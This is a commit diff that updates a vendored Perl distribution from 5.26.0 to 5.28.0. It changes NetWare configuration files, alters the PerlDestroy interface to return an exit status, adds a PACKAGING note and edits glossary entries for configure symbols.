 d_llrint='undef'
 d_llrintl='undef'
 d_llround='undef'
 d_llroundl='undef'
+d_localeconv_l='undef'
 d_localtime64='undef'
 d_localtime_r='undef'
 d_localtime_r_needs_tzset='undef'
@@ -360,17 +364,16 @@
 d_malloc_good_size='undef'
 d_malloc_size='undef'
 d_mblen='define'
+d_mbrlen='undef'
+d_mbrtowc='undef'
 d_mbstowcs='define'
 d_mbtowc='define'
-d_memchr='define'
-d_memcmp='define'
-d_memcpy='define'
 d_memmem='undef'
-d_memmove='define'
-d_memset='define'
+d_memrchr='undef'
 d_mkdir='define'
 d_mkdtemp='undef'
 d_mkfifo='undef'
+d_mkostemp='undef'
 d_mkstemp='undef'
 d_mkstemps='undef'
 d_mktime64='undef'
@@ -395,6 +398,7 @@
 d_munmap='undef'
 d_mymalloc='undef'
 d_nan='undef'
+d_nanosleep='undef'
 d_ndbm_h_uses_prototypes='undef'
 d_nearbyint='undef'
 d_newlocale='undef'
@@ -409,10 +413,12 @@
 d_oldpthreads='undef'
 d_oldsock='undef'
 d_open3='undef'
+d_openat='undef'
 d_pathconf='undef'
 d_pause='undef'
 d_perl_otherlibdirs='undef'
 d_phostname='undef'
+d_pipe2='undef'
 d_pipe='define'
 d_poll='undef'
 d_portable='define'
@@ -447,13 +453,11 @@
 d_remainder='undef'
 d_remquo='undef'
 d_rename='define'
+d_renameat='undef'
 d_rewinddir='define'
 d_rint='undef'
 d_rmdir='define'
 d_round='undef'
-d_safebcpy='undef'
-d_safemcpy='undef'
-d_sanemcmp='define'
 d_sbrkproto='undef'
 d_scalbn='undef'
 d_scalbnl='undef'
@@ -529,7 +533,6 @@
 d_socklen_t='undef'
 d_sockpair='undef'
 d_socks5_init='undef'
-d_sprintf_returns_strlen='undef'
 d_sqrtl='undef'
 d_srand48_r='undef'
 d_srandom_r='undef'
@@ -548,19 +551,18 @@
 d_stdio_stream_array='undef'
 d_stdiobase='undef'
 d_stdstdio='undef'
-d_strchr='define'
 d_strcoll='define'
-d_strctcpy='define'
-d_strerrm='strerror(e)'
-d_strerror='define'
 d_strerror_l='undef'
 d_strerror_r='undef'
 d_strftime='define'
 d_strlcat='undef'
 d_strlcpy='undef'
+d_strnlen='undef'
 d_strtod='define'
+d_strtod_l='undef'
 d_strtol='define'
 d_strtold='undef'
+d_strtold_l='undef'
 d_strtoll='undef'
 d_strtoq='undef'
 d_strtoul='define'
@@ -580,6 +582,7 @@
 d_telldir='define'
 d_telldirproto='define'
 d_tgamma='undef'
+d_thread_safe_nl_langinfo_l='undef'
 d_time='define'
 d_timegm='undef'
 d_times='undef'
@@ -596,6 +599,7 @@
 d_umask='define'
 d_uname='define'
 d_union_semun='define'
+d_unlinkat='undef'
 d_unordered='undef'
 d_unsetenv='undef'
 d_uselocale='undef'
@@ -609,8 +613,6 @@
 d_void_closedir='undef'
 d_voidsig='define'
 d_voidtty=''
-d_volatile='define'
-d_vprintf='define'
 d_vsnprintf='undef'
 d_wait4='undef'
 d_waitpid='define'
@@ -712,7 +714,6 @@
 i8size='1'
 i8type='char'
 i_arpainet='define'
-i_assert='define'
 i_bfd='undef'
 i_bsdioctl=''
 i_crypt='undef'
@@ -723,7 +724,6 @@
 i_execinfo='undef'
 i_fcntl='define'
 i_fenv='undef'
-i_float='define'
 i_fp='undef'
 i_fp_class='undef'
 i_gdbm='undef'
@@ -734,13 +734,10 @@
 i_inttypes='undef'
 i_langinfo='undef'
 i_libutil='undef'
-i_limits='define'
 i_locale='define'
 i_machcthr='undef'
 i_malloc='define'
 i_mallocmalloc='undef'
-i_math='define'
-i_memory='undef'
 i_mntent='undef'
 i_ndbm='undef'
 i_netdb='define'
@@ -756,12 +753,9 @@
 i_sgtty='undef'
 i_shadow='undef'
 i_socks='undef'
-i_stdarg='define'
 i_stdbool='define'
-i_stddef='define'
 i_stdint='undef'
 i_stdlib='define'
-i_string='define'
 i_sunmath='undef'
 i_sysaccess='undef'
 i_sysdir='undef'
@@ -798,10 +792,8 @@
 i_unistd='undef'
 i_ustat='undef'
 i_utime='define'
-i_values='undef'
-i_varargs='undef'
-i_varhdr='varargs.h'
 i_vfork='undef'
+i_wchar='undef'
 i_xlocale='undef'
 ignore_versioned_solibs=''
 inc_version_list=''
@@ -1124,7 +1116,6 @@
 uvtype='unsigned long'
 uvuformat='"lu"'
 uvxformat='"lx"'
-vaproto='undef'
 vendorarch=''
 vendorarchexp=''
 vendorbin=''

Modified: vendor/perl/dist/NetWare/config_H.wc
===================================================================
--- vendor/perl/dist/NetWare/config_H.wc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/NetWare/config_H.wc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -50,24 +50,6 @@
 #define __attribute__(_arg_)
 #endif
 
-/* HAS_BCMP:
- *	This symbol is defined if the bcmp() routine is available to
- *	compare blocks of memory.
- */
-/*#define HAS_BCMP	/**/
-
-/* HAS_BCOPY:
- *	This symbol is defined if the bcopy() routine is available to
- *	copy blocks of memory.
- */
-/*#define HAS_BCOPY	/**/
-
-/* HAS_BZERO:
- *	This symbol is defined if the bzero() routine is available to
- *	set a memory block to 0.
- */
-/*#define HAS_BZERO	/**/
-
 /* HAS_CHOWN:
  *	This symbol, if defined, indicates that the chown routine is
  *	available.
@@ -109,14 +91,6 @@
  */
 /*#define HAS_CUSERID		/**/
 
-/* HAS_DBL_DIG:
- *	This symbol, if defined, indicates that this system's <float.h>
- *	or <limits.h> defines the symbol DBL_DIG, which is the number
- *	of significant digits in a double precision number.  If this
- *	symbol is not defined, a guess of 15 is usually pretty good.
- */
-#define HAS_DBL_DIG 	/**/
-
 /* HAS_DIFFTIME:
  *	This symbol, if defined, indicates that the difftime routine is
  *	available.
@@ -295,32 +269,6 @@
  */
 #define HAS_MBTOWC		/**/
 
-/* HAS_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	to compare blocks of memory.
- */
-#define HAS_MEMCMP	/**/
-
-/* HAS_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy blocks of memory.
- */
-#define HAS_MEMCPY	/**/
-
-/* HAS_MEMMOVE:
- *	This symbol, if defined, indicates that the memmove routine is available
- *	to copy potentially overlapping blocks of memory. This should be used
- *	only when HAS_SAFE_BCOPY is not defined. If neither is there, roll your
- *	own version.
- */
-#define HAS_MEMMOVE	/**/
-
-/* HAS_MEMSET:
- *	This symbol, if defined, indicates that the memset routine is available
- *	to set blocks of memory.
- */
-#define HAS_MEMSET	/**/
-
 /* HAS_MKDIR:
  *	This symbol, if defined, indicates that the mkdir routine is available
  *	to create directories.  Otherwise you should fork off a new process to
@@ -545,18 +493,6 @@
 #define Shmat_t void *	/**/
 /*#define HAS_SHMAT_PROTOTYPE	/**/
 
-/* HAS_STRCHR:
- *	This symbol is defined to indicate that the strchr()/strrchr()
- *	functions are available for string searching. If not, try the
- *	index()/rindex() pair.
- */
-/* HAS_INDEX:
- *	This symbol is defined to indicate that the index()/rindex()
- *	functions are available for string searching.
- */
-#define HAS_STRCHR	/**/
-/*#define HAS_INDEX	/**/
-
 /* HAS_STRCOLL:
  *	This symbol, if defined, indicates that the strcoll routine is
  *	available to compare strings using collating information.
@@ -563,13 +499,6 @@
  */
 #define HAS_STRCOLL	/**/
 
-/* USE_STRUCT_COPY:
- *	This symbol, if defined, indicates that this C compiler knows how
- *	to copy structures.  If undefined, you'll need to use a block copy
- *	routine of some sort instead.
- */
-#define	USE_STRUCT_COPY	/**/
-
 /* HAS_STRTOD:
  *	This symbol, if defined, indicates that the strtod routine is
  *	available to provide better numeric string conversion than atof().
@@ -648,15 +577,6 @@
  */
 /*#define HAS_USLEEP		/**/
 
-/* HASVOLATILE:
- *	This symbol, if defined, indicates that this C compiler knows about
- *	the volatile declaration.
- */
-#define	HASVOLATILE	/**/
-#ifndef HASVOLATILE
-#define volatile
-#endif
-
 /* HAS_WAIT4:
  *	This symbol, if defined, indicates that wait4() exists.
  */
@@ -686,12 +606,6 @@
  */
 #define	I_ARPA_INET		/**/
 
-/* I_ASSERT:
- *	This symbol, if defined, indicates to the C program that it could
- *	include <assert.h> to get the assert() macro.
- */
-#define	I_ASSERT		/**/
-
 /* I_DBM:
  *	This symbol, if defined, indicates that <dbm.h> exists and should
  *	be included.
@@ -734,20 +648,6 @@
  */
 #define I_FCNTL	/**/
 
-/* I_FLOAT:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <float.h> to get definition of symbols like DBL_MAX or
- *	DBL_MIN, i.e. machine dependent floating point values.
- */
-#define I_FLOAT		/**/
-
-/* I_LIMITS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <limits.h> to get definition of symbols like WORD_BIT or
- *	LONG_MAX, i.e. machine dependant limitations.
- */
-#define I_LIMITS		/**/
-
 /* I_LOCALE:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <locale.h>.
@@ -754,18 +654,6 @@
  */
 #define	I_LOCALE		/**/
 
-/* I_MATH:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <math.h>.
- */
-#define I_MATH		/**/
-
-/* I_MEMORY:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <memory.h>.
- */
-/*#define I_MEMORY		/**/
-
 /* I_NDBM:
  *	This symbol, if defined, indicates that <ndbm.h> exists and should
  *	be included.
@@ -784,24 +672,6 @@
  */
 #define I_NETINET_IN	/**/
 
-/* I_STDDEF:
- *	This symbol, if defined, indicates that <stddef.h> exists and should
- *	be included.
- */
-#define I_STDDEF	/**/
-
-/* I_STDLIB:
- *	This symbol, if defined, indicates that <stdlib.h> exists and should
- *	be included.
- */
-#define I_STDLIB		/**/
-
-/* I_STRING:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <string.h> (USG systems) instead of <strings.h> (BSD systems).
- */
-#define I_STRING		/**/
-
 /* I_SYS_DIR:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <sys/dir.h>.
@@ -911,14 +781,6 @@
  */
 #define I_UTIME		/**/
 
-/* I_VALUES:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <values.h> to get definition of symbols like MINFLOAT or
- *	MAXLONG, i.e. machine dependant limitations.  Probably, you
- *	should use <limits.h> instead, if it is available.
- */
-/*#define I_VALUES		/**/
-
 /* I_VFORK:
  *	This symbol, if defined, indicates to the C program that it should
  *	include vfork.h.
@@ -925,12 +787,6 @@
  */
 /*#define I_VFORK	/**/
 
-/* CAN_PROTOTYPE:
- *	If defined, this macro indicates that the C compiler can handle
- *	function prototypes.
- */
-#define	CAN_PROTOTYPE	/**/
-
 /* SH_PATH:
  *	This symbol contains the full pathname to the shell used on this
  *	on this system to execute Bourne shell scripts.  Usually, this will be
@@ -1042,7 +898,7 @@
  *	This symbol contains the ~name expanded version of ARCHLIB, to be used
  *	in programs that are not prepared to deal with ~ expansion at run-time.
  */
-#define ARCHLIB "c:\\perl\\5.26.0\\lib\\NetWare-x86-multi-thread"		/**/
+#define ARCHLIB "c:\\perl\\5.28.0\\lib\\NetWare-x86-multi-thread"		/**/
 /*#define ARCHLIB_EXP ""	/**/
 
 /* ARCHNAME:
@@ -1073,8 +929,8 @@
  *	This symbol is the filename expanded version of the BIN symbol, for
  *	programs that do not want to deal with that at run-time.
  */
-#define BIN "c:\\perl\\5.26.0\\bin\\NetWare-x86-multi-thread"	/**/
-#define BIN_EXP "c:\\perl\\5.26.0\\bin\\NetWare-x86-multi-thread"	/**/
+#define BIN "c:\\perl\\5.28.0\\bin\\NetWare-x86-multi-thread"	/**/
+#define BIN_EXP "c:\\perl\\5.28.0\\bin\\NetWare-x86-multi-thread"	/**/
 
 /* BYTEORDER:
  *	This symbol holds the hexadecimal constant defined in byteorder,
@@ -1698,12 +1554,6 @@
  */
 /*#define HAS_MADVISE		/**/
 
-/* HAS_MEMCHR:
- *	This symbol, if defined, indicates that the memchr routine is available
- *	to locate characters within a C string.
- */
-#define HAS_MEMCHR	/**/
-
 /* HAS_MKDTEMP:
  *	This symbol, if defined, indicates that the mkdtemp routine is
  *	available to exclusively create a uniquely named temporary directory.
@@ -1821,29 +1671,6 @@
  */
 /*#define HAS_RECVMSG		/**/
 
-/* HAS_SAFE_BCOPY:
- *	This symbol, if defined, indicates that the bcopy routine is available
- *	to copy potentially overlapping memory blocks. Otherwise you should
- *	probably use memmove() or memcpy(). If neither is defined, roll your
- *	own version.
- */
-/*#define HAS_SAFE_BCOPY	/**/
-
-/* HAS_SAFE_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy potentially overlapping memory blocks. Otherwise you should
- *	probably use memmove() or memcpy(). If neither is defined, roll your
- *	own version.
- */
-/*#define HAS_SAFE_MEMCPY	/**/
-
-/* HAS_SANE_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	and can be used to compare relative magnitudes of chars with their high
- *	bits set.  If it is not defined, roll your own version.
- */
-#define HAS_SANE_MEMCMP	/**/
-
 /* HAS_SBRK_PROTO:
  *	This symbol, if defined, indicates that the system provides
  *	a prototype for the sbrk() function.  Otherwise, it is up
@@ -2133,24 +1960,12 @@
 #define FILE_bufsiz(fp)	((fp)->_cnt + (fp)->_ptr - (fp)->_base)
 #endif
 
-/* HAS_STRERROR:
- *	This symbol, if defined, indicates that the strerror routine is
- *	available to translate error numbers to strings. See the writeup
- *	of Strerror() in this file before you try to define your own.
- */
 /* HAS_SYS_ERRLIST:
  *	This symbol, if defined, indicates that the sys_errlist array is
  *	available to translate error numbers to strings. The extern int
  *	sys_nerr gives the size of that table.
  */
-/* Strerror:
- *	This preprocessor symbol is defined as a macro if strerror() is
- *	not available to translate error numbers to strings but sys_errlist[]
- *	array is there.
- */
-#define HAS_STRERROR		/**/
 #define HAS_SYS_ERRLIST	/**/
-#define Strerror(e) strerror(e)
 
 /* HAS_STRTOLD:
  *	This symbol, if defined, indicates that the strtold routine is
@@ -2257,20 +2072,6 @@
  */
 #define Signal_t void	/* Signal handler's return type */
 
-/* HAS_VPRINTF:
- *	This symbol, if defined, indicates that the vprintf routine is available
- *	to printf with a pointer to an argument list.  If unavailable, you
- *	may need to write your own, probably in terms of _doprnt().
- */
-/* USE_CHAR_VSPRINTF:
- *	This symbol is defined if this system has vsprintf() returning type
- *	(char*).  The trend seems to be to declare it as "int vsprintf()".  It
- *	is up to the package author to declare vsprintf correctly based on the
- *	symbol.
- */
-#define HAS_VPRINTF	/**/
-/*#define USE_CHAR_VSPRINTF 	/**/
-
 /* HAS_WRITEV:
  *	This symbol, if defined, indicates that the writev routine is
  *	available to do scatter writes.
@@ -3088,7 +2889,7 @@
  *	This symbol contains the ~name expanded version of SITEARCH, to be used
  *	in programs that are not prepared to deal with ~ expansion at run-time.
  */
-#define SITEARCH "c:\\perl\\site\\5.26.0\\lib\\NetWare-x86-multi-thread"		/**/
+#define SITEARCH "c:\\perl\\site\\5.28.0\\lib\\NetWare-x86-multi-thread"		/**/
 /*#define SITEARCH_EXP ""	/**/
 
 /* SITELIB:
@@ -3111,7 +2912,7 @@
  *	removed.  The elements in inc_version_list (inc_version_list.U) can
  *	be tacked onto this variable to generate a list of directories to search.
  */
-#define SITELIB "c:\\perl\\site\\5.26.0\\lib"		/**/
+#define SITELIB "c:\\perl\\site\\5.28.0\\lib"		/**/
 /*#define SITELIB_EXP ""	/**/
 #define SITELIB_STEM ""		/**/
 
@@ -3342,17 +3143,6 @@
 /*#define SETUID_SCRIPTS_ARE_SECURE_NOW	/**/
 /*#define DOSUID		/**/
 
-/* I_STDARG:
- *	This symbol, if defined, indicates that <stdarg.h> exists and should
- *	be included.
- */
-/* I_VARARGS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <varargs.h>.
- */
-#define I_STDARG		/**/
-/*#define I_VARARGS	/**/
-
 /* USE_CROSS_COMPILE:
  *	This symbol, if defined, indicates that Perl is being cross-compiled.
  */

Modified: vendor/perl/dist/NetWare/interface.c
===================================================================
--- vendor/perl/dist/NetWare/interface.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/NetWare/interface.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -78,10 +78,10 @@
 	return(perl_run(my_perl));	// Run Perl.
 }
 
-void
+int
 ClsPerlHost::PerlDestroy(PerlInterpreter *my_perl)
 {
-	perl_destruct(my_perl);		// Destructor for Perl.
+	return(perl_destruct(my_perl));		// Destructor for Perl.
 }
 
 void
@@ -148,19 +148,18 @@
 	{
 		PL_perl_destruct_level = 0;
 
-		exitstatus = nlm.PerlParse(my_perl, argc, argv, env);
-		if(exitstatus == 0)
+		if(!nlm.PerlParse(my_perl, argc, argv, env))
 		{
 			#if defined(TOP_CLONE) && defined(USE_ITHREADS)		// XXXXXX testing
 				new_perl = perl_clone(my_perl, 1);
 
-				exitstatus = perl_run(new_perl);	// Run Perl.
+				(void) perl_run(new_perl);	// Run Perl.
 				PERL_SET_THX(my_perl);
 			#else
-				exitstatus = nlm.PerlRun(my_perl);
+				(void) nlm.PerlRun(my_perl);
 			#endif
 		}
-		nlm.PerlDestroy(my_perl);
+		exitstatus = nlm.PerlDestroy(my_perl);
 	}
 	if(my_perl)
 		nlm.PerlFree(my_perl);
@@ -169,7 +168,7 @@
 		if (new_perl)
 		{
 			PERL_SET_THX(new_perl);
-			nlm.PerlDestroy(new_perl);
+			exitstatus = nlm.PerlDestroy(new_perl);
 			nlm.PerlFree(my_perl);
 		}
 	#endif

Modified: vendor/perl/dist/NetWare/interface.cpp
===================================================================
--- vendor/perl/dist/NetWare/interface.cpp	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/NetWare/interface.cpp	2018-12-22 22:55:19 UTC (rev 12126)
@@ -69,11 +69,12 @@
 	return(perl_run(my_perl));	// Run Perl.
 }
 
-void
+int
 ClsPerlHost::PerlDestroy(PerlInterpreter *my_perl)
 {
-	perl_destruct(my_perl);		// Destructor for Perl.
+	int ret = perl_destruct(my_perl);		// Destructor for Perl.
 ////	perl_free(my_perl);			// Free the memory allocated for Perl.
+	return(ret);
 }
 
 void
@@ -142,8 +143,7 @@
 	{
 		PL_perl_destruct_level = 0;
 
-		exitstatus = nlm.PerlParse(my_perl, argc, argv, env);
-		if(exitstatus == 0)
+		if(!nlm.PerlParse(my_perl, argc, argv, env))
 		{
 			#if defined(TOP_CLONE) && defined(USE_ITHREADS)		// XXXXXX testing
 				#  ifdef PERL_OBJECT
@@ -164,13 +164,13 @@
 					new_perl = perl_clone(my_perl, 1);
 				#  endif
 
-				exitstatus = perl_run(new_perl);	// Run Perl.
+				(void) perl_run(new_perl);	// Run Perl.
 				PERL_SET_THX(my_perl);
 			#else
-				exitstatus = nlm.PerlRun(my_perl);
+				(void) nlm.PerlRun(my_perl);
 			#endif
 		}
-		nlm.PerlDestroy(my_perl);
+		exitstatus = nlm.PerlDestroy(my_perl);
 	}
 	if(my_perl)
 		nlm.PerlFree(my_perl);
@@ -179,7 +179,7 @@
 		if (new_perl)
 		{
 			PERL_SET_THX(new_perl);
-			nlm.PerlDestroy(new_perl);
+			exitstatus = nlm.PerlDestroy(new_perl);
 			nlm.PerlFree(my_perl);
 		}
 	#endif

Modified: vendor/perl/dist/NetWare/interface.h
===================================================================
--- vendor/perl/dist/NetWare/interface.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/NetWare/interface.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -35,7 +35,7 @@
 	int PerlCreate(PerlInterpreter *my_perl);
 	int PerlParse(PerlInterpreter *my_perl, int argc, char** argv, char** env);
 	int PerlRun(PerlInterpreter *my_perl);
-	void PerlDestroy(PerlInterpreter *my_perl);
+	int PerlDestroy(PerlInterpreter *my_perl);
 	void PerlFree(PerlInterpreter *my_perl);
 
 	//bool RegisterWithThreadTable(void);

Modified: vendor/perl/dist/NetWare/iperlhost.h
===================================================================
--- vendor/perl/dist/NetWare/iperlhost.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/NetWare/iperlhost.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -33,7 +33,7 @@
 	virtual int PerlCreate(PerlInterpreter *my_perl) = 0;
 	virtual int PerlParse(PerlInterpreter *my_perl,int argc, char** argv, char** env) = 0;
 	virtual int PerlRun(PerlInterpreter *my_perl) = 0;
-	virtual void PerlDestroy(PerlInterpreter *my_perl) = 0;
+	virtual int PerlDestroy(PerlInterpreter *my_perl) = 0;
 	virtual void PerlFree(PerlInterpreter *my_perl) = 0;
 
 	//virtual bool RegisterWithThreadTable(void)=0;

Added: vendor/perl/dist/PACKAGING
===================================================================
--- vendor/perl/dist/PACKAGING	                        (rev 0)
+++ vendor/perl/dist/PACKAGING	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,50 @@
+If you read this file _as_is_, just ignore the funny characters you
+see.  It is written in the POD format (see pod/perlpod.pod) which is
+specifically designed to be readable as is.
+
+=head1 NAME
+
+PACKAGING - notes and best practice for packaging perl 5
+
+=head1 SYNOPSIS
+
+This document is aimed at anyone who is producing their own version of
+perl for distribution to other users. It is intended as a collection
+of useful tips, advice and best practice, rather than being a complete
+packaging manual. The starting point for installing perl remains
+F<INSTALL>.
+
+=head1 Customizing test running
+
+A small number of porting tests (those in t/porting) are not well suited
+to typical distribution packaging scenarios. For example, they assume
+they are working in a git clone of the upstream Perl repository, or
+enforce rules which are not relevant to downstream packagers. These can
+be skipped by setting the environment variable PERL_BUILD_PACKAGING.
+A complete list of tests which this applied to can be found by searching
+the codebase for this string.
+
+An alternative strategy would be to skip all porting tests, but many of
+them are useful if additional patches might be applied.
+
+=head1 Customizing patchlevel to advertise your local patches
+
+You can advertise your custom local patches by using patchlevel.h as a
+standalone Perl script.
+
+=head2 Sample usage:
+
+		perl -x patchlevel.h "This is a custom patch"
+
+=head1 Disabling known flapping tests
+
+Some tests could fail under heavy load, whereas in most cases
+they would simply succeed. Usually, continuous integration systems
+will at one point or the other reach that problem.
+
+To disable these known tests, please set the environment
+variable CI to true.
+
+        CI=true
+
+=cut

Modified: vendor/perl/dist/Porting/Glossary
===================================================================
--- vendor/perl/dist/Porting/Glossary	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/Glossary	2018-12-22 22:55:19 UTC (rev 12126)
@@ -41,10 +41,6 @@
 	double-- or a long double when applicable. Usual values are
 	2, 4 and 8.  The default is eight, for safety.
 
-ansi2knr (ansi2knr.U):
-	This variable is set if the user needs to run ansi2knr.
-	Currently, this is not supported, so we just abort.
-
 aphostname (d_gethname.U):
 	This variable contains the command which can be used to compute the
 	host name. The command is fully qualified by its absolute path, to make
@@ -397,6 +393,10 @@
 	This variable conditionally defines HAS__FWALK if _fwalk() is
 	available to apply a function to all the file handles.
 
+d_accept4 (d_accept4.U):
+	This variable conditionally defines HAS_ACCEPT4 if accept4() is
+	available to accept socket connections.
+
 d_access (d_access.U):
 	This variable conditionally defines HAS_ACCESS if the access() system
 	call is available to check for access permissions using real IDs.
@@ -495,14 +495,6 @@
 	indicates to the C program that the backtrace() routine is available
 	to get a stack trace.
 
-d_bcmp (d_bcmp.U):
-	This variable conditionally defines the HAS_BCMP symbol if
-	the bcmp() routine is available to compare strings.
-
-d_bcopy (d_bcopy.U):
-	This variable conditionally defines the HAS_BCOPY symbol if
-	the bcopy() routine is available to copy strings.
-
 d_bsd (Guess.U):
 	This symbol conditionally defines the symbol BSD when running on a
 	BSD system.
@@ -516,6 +508,11 @@
 	setpgrp needs two arguments whereas USG one needs none.
 	See also d_setpgid for a POSIX interface.
 
+d_builtin_add_overflow (d_builtin_overflow.U):
+	This variable conditionally defines HAS_BUILTIN_ADD_OVERFLOW, which
+	indicates that the compiler supports __builtin_add_overflow(x,y,&z)
+	for safely adding x and y into z while checking for overflow.
+
 d_builtin_choose_expr (d_builtin.U):
 	This conditionally defines HAS_BUILTIN_CHOOSE_EXPR, which
 	indicates that the compiler supports __builtin_choose_expr(x,y,z).
@@ -530,10 +527,16 @@
 	__builtin_expect to provide the compiler with branch prediction
 	information.
 
-d_bzero (d_bzero.U):
-	This variable conditionally defines the HAS_BZERO symbol if
-	the bzero() routine is available to set memory to 0.
+d_builtin_mul_overflow (d_builtin_overflow.U):
+	This variable conditionally defines HAS_BUILTIN_MUL_OVERFLOW, which
+	indicates that the compiler supports __builtin_mul_overflow(x,y,&z)
+	for safely multiplying x and y into z while checking for overflow.
 
+d_builtin_sub_overflow (d_builtin_overflow.U):
+	This variable conditionally defines HAS_BUILTIN_SUB_OVERFLOW, which
+	indicates that the compiler supports __builtin_sub_overflow(x,y,&z)
+	for safely subtracting y from x into z while checking for overflow.
+
 d_c99_variadic_macros (d_c99_variadic.U):
 	This variable conditionally defines the HAS_C99_VARIADIC_MACROS
 	symbol, which indicates to the C program that C99 variadic macros
@@ -552,11 +555,6 @@
 	indicates to the C program that the cbrt() (cube root) function
 	is available.
 
-d_charvspr (d_vprintf.U):
-	This variable conditionally defines CHARVSPRINTF if this system
-	has vsprintf returning type (char*).  The trend seems to be to
-	declare it as "int vsprintf()".
-
 d_chown (d_chown.U):
 	This variable conditionally defines the HAS_CHOWN symbol, which
 	indicates to the C program that the chown() routine is available.
@@ -642,11 +640,6 @@
 	indicates to the C program that the cuserid() routine is available
 	to get character login names.
 
-d_dbl_dig (d_dbl_dig.U):
-	This variable conditionally defines d_dbl_dig if this system's
-	header files provide DBL_DIG, which is the number of significant
-	digits in a double precision number.
-
 d_dbminitproto (d_dbminitproto.U):
 	This variable conditionally defines the HAS_DBMINIT_PROTO symbol,
 	which indicates to the C program that the system provides
@@ -694,19 +687,24 @@
 	indicates that we need to prepend an underscore to the symbol
 	name before calling dlsym().
 
-d_double_has_inf (infnan.U):
+d_dosuid (d_dosuid.U):
+	This variable conditionally defines the symbol DOSUID, which
+	tells the C program that it should insert setuid emulation code
+	on hosts which have setuid #! scripts disabled.
+
+d_double_has_inf (longdblfio.U):
 	This variable conditionally defines the symbol DOUBLE_HAS_INF
 	which indicates that the double type has an infinity.
 
-d_double_has_nan (infnan.U):
-	This variable conditionally defines the symbol DOUBLE_HAS_INF
+d_double_has_nan (longdblfio.U):
+	This variable conditionally defines the symbol DOUBLE_HAS_NAN
 	which indicates that the double type has a not-a-number.
 
-d_double_has_negative_zero (infnan.U):
+d_double_has_negative_zero (longdblfio.U):
 	This variable conditionally defines the symbol DOUBLE_HAS_NEGATIVE_ZERO
 	which indicates that the double type has a negative zero.
 
-d_double_has_subnormals (infnan.U):
+d_double_has_subnormals (longdblfio.U):
 	This variable conditionally defines the symbol DOUBLE_HAS_SUBNORMALS
 	which indicates that the double type has subnormals (denormals).
 
@@ -726,11 +724,6 @@
 	This variable conditionally defines the symbol DOUBLE_STYLE_VAX,
 	which indicates that the double is the 64-bit VAX format D or G.
 
-d_dosuid (d_dosuid.U):
-	This variable conditionally defines the symbol DOSUID, which
-	tells the C program that it should insert setuid emulation code
-	on hosts which have setuid #! scripts disabled.
-
 d_drand48_r (d_drand48_r.U):
 	This variable conditionally defines the HAS_DRAND48_R symbol,
 	which indicates to the C program that the drand48_r()
@@ -746,6 +739,10 @@
 	This variable conditionally defines HAS_DUP2 if dup2() is
 	available to duplicate file descriptors.
 
+d_dup3 (d_dup3.U):
+	This variable conditionally defines HAS_DUP3 if dup3() is
+	available to duplicate file descriptors.
+
 d_duplocale (d_newlocale.U):
 	This variable conditionally defines the HAS_DUPLOCALE symbol, which
 	indicates to the C program that the duplocale() routine is available
@@ -849,6 +846,10 @@
 	indicates to the C program that the fchmod() routine is available
 	to change mode of opened files.
 
+d_fchmodat (d_fsat.U):
+	This variable conditionally defines the HAS_FCHMODAT symbol, which
+	indicates the POSIX fchmodat() function is available.
+
 d_fchown (d_fchown.U):
 	This variable conditionally defines the HAS_FCHOWN symbol, which
 	indicates to the C program that the fchown() routine is available
@@ -1390,10 +1391,6 @@
 	This variable conditionally defines PERL_INC_VERSION_LIST.
 	It is set to undef when PERL_INC_VERSION_LIST is empty.
 
-d_index (d_strchr.U):
-	This variable conditionally defines HAS_INDEX if index() and
-	rindex() are available for string searching.
-
 d_inetaton (d_inetaton.U):
 	This variable conditionally defines the HAS_INET_ATON symbol, which
 	indicates to the C program that the inet_aton() function is available
@@ -1525,6 +1522,10 @@
 	This variable conditionally defines HAS_LINK if link() is
 	available to create hard links.
 
+d_linkat (d_fsat.U):
+	This variable conditionally defines the HAS_LINKAT symbol, which
+	indicates the POSIX linkat() function is available.
+
 d_llrint (d_llrint.U):
 	This variable conditionally defines the HAS_LLRINT symbol, which
 	indicates to the C program that the llrint() routine is available
@@ -1547,6 +1548,10 @@
 	indicates to the C program that the llroundl() routine is available
 	to return the long long value nearest to x away from zero.
 
+d_localeconv_l (d_localeconv_l.U):
+	This variable conditionally defines the HAS_LOCALECONV_L symbol, which
+	indicates to the C program that the localeconv_l() routine is available.
+
 d_localtime64 (d_timefuncs64.U):
 	This variable conditionally defines the HAS_LOCALTIME64 symbol, which
 	indicates to the C program that the localtime64 () routine is available.
@@ -1583,10 +1588,6 @@
 	indicates to the C program that the logb() routine is available
 	to extract the exponent of x.
 
-d_longdbl (d_longdbl.U):
-	This variable conditionally defines HAS_LONG_DOUBLE if
-	the long double type is supported.
-
 d_long_double_style_ieee (d_longdbl.U):
 	This variable conditionally defines LONG_DOUBLE_STYLE_IEEE
 	if the long double is any of the IEEE 754 style long doubles:
@@ -1611,6 +1612,10 @@
 	This variable conditionally defines LONG_DOUBLE_STYLE_VAX
 	if the long double is the 128-bit VAX format H.
 
+d_longdbl (d_longdbl.U):
+	This variable conditionally defines HAS_LONG_DOUBLE if
+	the long double type is supported.
+
 d_longlong (d_longlong.U):
 	This variable conditionally defines HAS_LONG_LONG if
 	the long long type is supported.
@@ -1664,6 +1669,16 @@
